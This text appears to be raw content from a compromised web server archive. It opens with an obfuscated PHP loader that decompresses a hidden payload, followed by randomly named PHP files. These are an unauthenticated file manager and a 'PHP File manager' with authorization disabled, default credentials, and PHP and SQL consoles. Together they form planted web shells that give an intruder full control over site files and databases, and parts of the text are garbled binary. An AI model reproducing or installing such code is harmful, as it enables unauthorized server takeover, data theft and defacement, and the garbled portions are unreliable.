Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK 9Jm\��f(�E �E f3wzk.phpnu �[��� <?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$current_path = '';
foreach($parts as $part){
$current_path .= ($current_path ? '/' : '') . $part;
$dir_parts[] = [
'name' => $part,
'path' => $current_path
];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
if(file_put_contents($file_path, $content) !== false){
$message = "File '{$file}' updated successfully!";
} else {
$message = "Error updating file '{$file}'!";
}
}
// Don't redirect - stay on edit page with message
} else {
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
if($message) echo "<p style='color:green;'>$message</p>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</form></body></html>";
exit;
}
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
// Check if this is a confirmation request
$confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
$message = "Folder '{$file}' deleted successfully!";
} else {
if(unlink($file_path)){
$message = "File '{$file}' deleted successfully!";
} else {
$message = "Error deleting file '{$file}'!";
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
exit;
} else {
// Show confirmation page
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
echo "<h2>Confirm Delete</h2>";
echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
echo "<br>";
echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</body></html>";
exit;
}
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
if(move_uploaded_file($uploaded['tmp_name'], $dest)){
@chmod($dest, 0644);
$message = "File '{$name}' uploaded successfully!";
} else {
$message = "Error uploading file '{$name}'!";
}
} else {
$message = "Invalid upload path!";
}
} else {
$message = "Upload error: " . $uploaded['error'];
}
}
// Stay on same page with message
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
if(mkdir($fp, 0755, true)){
$message = "Folder '{$folder}' created successfully!";
} else {
$message = "Error creating folder '{$folder}'!";
}
} else {
$message = "Folder already exists or invalid path!";
}
} else {
$message = "Please enter a folder name!";
}
}
// Stay on same page with message
break;
}
// Get message from URL if redirected
if(isset($_GET['message'])){
$message = $_GET['message'];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
background: #f2f4f8;
padding: 20px;
}
.container {
background: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,.08);
}
h1 {
margin-bottom: 12px;
}
.table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
border-bottom: 1px solid #eee;
}
th {
background: #007bff;
color: #fff;
text-align: left;
}
.trhover:hover {
background: #fafbfc;
}
.btn {
display: inline-block;
padding: 6px 10px;
background: #007bff;
color: #fff;
border-radius: 6px;
text-decoration: none;
margin-right: 6px;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #0056b3;
}
.btn-danger {
background: #dc3545;
}
.btn-danger:hover {
background: #c82333;
}
.btn-success {
background: #28a745;
}
.btn-success:hover {
background: #218838;
}
.pathbar {
background: #eef2f5;
padding: 10px;
border-radius: 8px;
margin-bottom: 15px;
}
.toolbar {
margin-bottom: 12px;
padding: 10px;
background: #f8f9fa;
border-radius: 8px;
}
.small {
font-size: 0.9em;
color: #666;
}
.message {
padding: 10px;
margin: 10px 0;
border-radius: 5px;
font-weight: bold;
}
.message.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.message.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
input[type="text"], input[type="file"] {
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
margin-right: 5px;
}
.breadcrumb {
margin: 10px 0;
font-size: 14px;
}
.breadcrumb a {
color: #007bff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>
<?php if($message): ?>
<div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
<?= htmlspecialchars($message) ?>
</div>
<?php endif; ?>
<div class="pathbar">
<!-- Navigation buttons -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
<a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
<a class="btn" href="?action=list&dir=">📁 Root</a>
<span class="small"> Current:
<?php if($requested_dir === ''): ?>
/ (<?= htmlspecialchars($root_anchor) ?>)
<?php else: ?>
/<?= htmlspecialchars($requested_dir) ?>
<?php endif; ?>
</span>
<!-- Breadcrumb navigation -->
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
› <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
</div>
<div class="toolbar">
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)): ?>
<p><i>No files or folders found in this directory.</i></p>
<?php else: ?>
<table class="table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="trhover">
<td>
<?php if($f['type'] === 'directory'): ?>
📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
<?php else: ?>
📄 <?= htmlspecialchars($f['name']) ?>
<?php endif; ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
<a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
<small>
<strong>Security Info:</strong>
You can only access files within: <?= htmlspecialchars($root_anchor) ?>
</small>
</div>
</div>
<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(function(link) {
link.addEventListener('click', function(e) {
// Let the server handle confirmation - don't prevent default
// The server will show a confirmation page
});
});
});
</script>
</body>
</html>PK 9Jm\6^�d�5 �5 q1dsi.phpnu �[��� <?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
